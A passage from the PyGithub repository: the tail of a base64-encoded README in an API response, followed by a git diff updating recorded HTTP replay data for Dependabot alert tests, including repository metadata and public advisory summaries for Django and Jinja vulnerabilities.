1l\ncmdlIHlldCkKKiBBdXRvbWF0aWMgZ2VuZXJhdGlvbiBvZiB0aGUgcmVmZXJl\nbmNlIGRvY3VtZW50YXRpb24gb2YgY2xhc3Nlcywgd2l0aCBsZXNzICJzZWUg\nQVBJInMsIGFuZCBsZXNzIGVycm9ycwoKVmVyc2lvbiAwLjIgKEZlYnJ1YXJ5\nIDIzcmQsIDIwMTIpCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLQoKKiBSZWZhY3RvcmluZwoqIFRlYW1zIGRldGFpbHMgYW5kIG1vZGlmaWNh\ndGlvbgogICAgKiBiYXNpYyBhdHRyaWJ1dGVzCiAgICAqIGxpc3QgdGVhbXMg\naW4gb3JnYW5pemF0aW9ucywgb24gcmVwb3NpdG9yaWVzCiogR2l0IG9iamVj\ndHMKICAgICogY3JlYXRlIGFuZCBnZXQgdGFncywgcmVmZXJlbmNlcywgY29t\nbWl0cywgdHJlZXMsIGJsb2JzCiAgICAqIGxpc3QgYW5kIGVkaXQgcmVmZXJl\nbmNlcwoKVmVyc2lvbiAwLjEgKEZlYnJ1YXJ5IDE5dGgsIDIwMTIpCi0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKKiBVc2VyIGRldGFpbHMg\nYW5kIG1vZGlmaWNhdGlvbgogICAgKiBiYXNpYyBhdHRyaWJ1dGVzCiAgICAq\nIGZvbGxvd2VycywgZm9sbG93aW5nLCB3YXRjaGluZwogICAgKiBvcmdhbml6\nYXRpb25zCiAgICAqIHJlcG9zaXRvcmllcwoqIFJlcG9zaXRvcnkgZGV0YWls\ncyBhbmQgbW9kaWZpY2F0aW9uCiAgICAqIGJhc2ljIGF0dHJpYnV0ZXMKICAg\nICogZm9ya2luZwogICAgKiBjb2xsYWJvcmF0b3JzLCBjb250cmlidXRvcnMs\nIHdhdGNoZXJzCiogT3JnYW5pemF0aW9uIGRldGFpbHMgYW5kIG1vZGlmaWNh\ndGlvbgogICAgKiBiYXNpYyBhdHRyaWJ1dGVzCiAgICAqIG1lbWJlcnMgYW5k\nIHB1YmxpYyBtZW1iZXJzCg==\n","size":7531,"name":"ReadMe.md","download_url": "https://raw.githubusercontent.com/jacquev6/PyGithub/master/README.md","_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/contents/ReadMe.md","html":"https://github.com/jacquev6/PyGithub/blob/master/ReadMe.md","git":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/5628799a7d517a4aaa0c1a7004d07569cd154df0"}} - diff --git a/tests/ReplayData/DependabotAlert.setUp.txt b/tests/ReplayData/DependabotAlert.setUp.txt index 1701809eac..12704e9520 100644 --- a/tests/ReplayData/DependabotAlert.setUp.txt +++ b/tests/ReplayData/DependabotAlert.setUp.txt @@ -2,20 +2,9 @@ https GET api.github.com None -/user +/repos/coopernetes/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9de15de3e62b82f61ccc4ffeadea7f9f"'), ('date', 'Sat, 19 May 2012 04:49:44 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"collaborators":0,"type":"User","public_gists":1,"company":"Criteo","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","total_private_repos":5,"private_gists":5,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_repos":11,"followers":13,"owned_private_repos":5,"hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","bio":"","disk_usage":16768,"html_url":"https://github.com/jacquev6","name":"Vincent Jacques","created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24} - -https -GET -api.github.com -None -/repos/jacquev6/PyGithub -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"168623303cdf933a5eda91a18bb2ad76"'), ('date', 'Sat, 19 May 2012 04:49:44 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"mirror_url":null,"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-05-18T20:30:15Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":17,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-18T20:30:14Z","size":220,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490} \ No newline at end of file +[('Server', 'GitHub.com'), ('Date', 'Mon, 22 Jan 2024 02:33:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b01b684ab6f2a15d44ecf658af97789063ce5755d9e13142169d8c6faac678d0"'), ('Last-Modified', 'Sat, 20 Jan 2024 21:04:19 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1705893222'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D7E6:0A7D:9F3E4DA:14C27A29:65ADD3DE')] +{"id":745961840,"node_id":"R_kgDOLHZ5cA","name":"PyGithub","full_name":"coopernetes/PyGithub","private":false,"owner":{"login":"coopernetes","id":57812123,"node_id":"MDQ6VXNlcjU3ODEyMTIz","avatar_url":"https://avatars.githubusercontent.com/u/57812123?v=4","gravatar_id":"","url":"https://api.github.com/users/coopernetes","html_url":"https://github.com/coopernetes","followers_url":"https://api.github.com/users/coopernetes/followers","following_url":"https://api.github.com/users/coopernetes/following{/other_user}","gists_url":"https://api.github.com/users/coopernetes/gists{/gist_id}","starred_url":"https://api.github.com/users/coopernetes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coopernetes/subscriptions","organizations_url":"https://api.github.com/users/coopernetes/orgs","repos_url":"https://api.github.com/users/coopernetes/repos","events_url":"https://api.github.com/users/coopernetes/events{/privacy}","received_events_url":"https://api.github.com/users/coopernetes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/coopernetes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/coopernetes/PyGithub","forks_url":"https://api.github.com/repos/coopernetes/PyGithub/forks","keys_url":"https://api.github.com/repos/coopernetes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coopernetes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coopernetes/PyGithub/teams","hooks_url":"https://api.github.com/repos/coopernetes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/coopernetes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/coopernetes/PyGithub/events","assignees_url":"https://api.github.com/repos/coopernetes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/coopernetes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/coopernetes/PyGithub/tags","blobs_url":"https://api.github.com/repos/coopernetes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coopernetes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coopernetes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/coopernetes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coopernetes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/coopernetes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/coopernetes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/coopernetes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/coopernetes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/coopernetes/PyGithub/subscription","commits_url":"https://api.github.com/repos/coopernetes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/coopernetes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/coopernetes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/coopernetes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/coopernetes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/coopernetes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coopernetes/PyGithub/merges","archive_url":"https://api.github.com/repos/coopernetes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coopernetes/PyGithub/downloads","issues_url":"https://api.github.com/repos/coopernetes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/coopernetes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/coopernetes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/coopernetes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coopernetes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/coopernetes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/coopernetes/PyGithub/deployments","created_at":"2024-01-20T17:12:17Z","updated_at":"2024-01-20T21:04:19Z","pushed_at":"2024-01-21T03:50:15Z","git_url":"git://github.com/coopernetes/PyGithub.git","ssh_url":"git@github.com:coopernetes/PyGithub.git","clone_url":"https://github.com/coopernetes/PyGithub.git","svn_url":"https://github.com/coopernetes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13716,"stargazers_count":1,"watchers_count":1,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":1,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-21T23:42:44Z","pushed_at":"2024-01-21T03:50:17Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6491,"watchers_count":6491,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1718,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1718,"open_issues":288,"watchers":6491,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-21T23:42:44Z","pushed_at":"2024-01-21T03:50:17Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6491,"watchers_count":6491,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1718,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1718,"open_issues":288,"watchers":6491,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1718,"subscribers_count":0} diff --git a/tests/ReplayData/DependabotAlert.testAttributes.txt b/tests/ReplayData/DependabotAlert.testAttributes.txt index c4175db51a..dbf3e01782 100644 --- a/tests/ReplayData/DependabotAlert.testAttributes.txt +++ b/tests/ReplayData/DependabotAlert.testAttributes.txt @@ -2,9 +2,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/dependabot/alerts +/repos/coopernetes/PyGithub/dependabot/alerts/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -null +None 200 -[('content-length', '1143'), ('x-runtime-rack', '0.035038'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"5f005737679e3703efce7e706ad4fe72"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D3C7:2058:1F1200E:4D1FC03:5A374B66'), ('last-modified', 'Mon, 18 Dec 2017 01:31:56 GMT'), ('date', 'Mon, 18 Dec 2017 05:00:22 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513576416')] -[{"number":2,"state":"dismissed","dependency":{"package":{"ecosystem":"pip","name":"django"},"manifest_path":"path/to/requirements.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-rf4j-j272-fj86","cve_id":"CVE-2018-6188","summary":"Django allows remote attackers to obtain potentially sensitive information by leveraging data exposure from the confirm_login_allowed() method, as demonstrated by discovering whether a user account is inactive","description":"django.contrib.auth.forms.AuthenticationForm in Django 2.0 before 2.0.2, and 1.11.8 and 1.11.9, allows remote attackers to obtain potentially sensitive information by leveraging data exposure from the confirm_login_allowed() method, as demonstrated by discovering whether a user account is inactive.","vulnerabilities":[{"package":{"ecosystem":"pip","name":"django"},"severity":"high","vulnerable_version_range":">= 2.0.0, < 2.0.2","first_patched_version":{"identifier":"2.0.2"}},{"package":{"ecosystem":"pip","name":"django"},"severity":"high","vulnerable_version_range":">= 1.11.8, < 1.11.10","first_patched_version":{"identifier":"1.11.10"}}],"severity":"high","cvss":{"vector_string":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5},"cwes":[{"cwe_id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"identifiers":[{"type":"GHSA","value":"GHSA-rf4j-j272-fj86"},{"type":"CVE","value":"CVE-2018-6188"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2018-6188"},{"url":"https://github.com/advisories/GHSA-rf4j-j272-fj86"},{"url":"https://usn.ubuntu.com/3559-1/"},{"url":"https://www.djangoproject.com/weblog/2018/feb/01/security-releases/"},{"url":"http://www.securitytracker.com/id/1040422"}],"published_at":"2018-10-03T21:13:54Z","updated_at":"2022-04-26T18:35:37Z","withdrawn_at":null},"security_vulnerability":{"package":{"ecosystem":"pip","name":"django"},"severity":"high","vulnerable_version_range":">= 2.0.0, < 2.0.2","first_patched_version":{"identifier":"2.0.2"}},"url":"https://api.github.com/repos/octocat/hello-world/dependabot/alerts/2","html_url":"https://github.com/octocat/hello-world/security/dependabot/2","created_at":"2022-06-15T07:43:03Z","updated_at":"2022-08-23T14:29:47Z","dismissed_at":"2022-08-23T14:29:47Z","dismissed_by":{"login":"octocat","id":1,"node_id":"MDQ6VXNlcjE=","avatar_url":"https://github.com/images/error/octocat_happy.gif","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"dismissed_reason":"tolerable_risk","dismissed_comment":"This alert is accurate but we use a sanitizer.","fixed_at":null}] +[('Server', 'GitHub.com'), ('Date', 'Sun, 21 Jan 2024 03:35:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4f4dfb4e1c402c10a899477bc5ee37795feca57fa0a50548c85fae38cf365ee6"'), ('Last-Modified', 'Sun, 21 Jan 2024 03:35:38 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1705809202'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'A21E:206B:40AD443:8629440:65AC9115')] +{"number":1,"state":"dismissed","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this 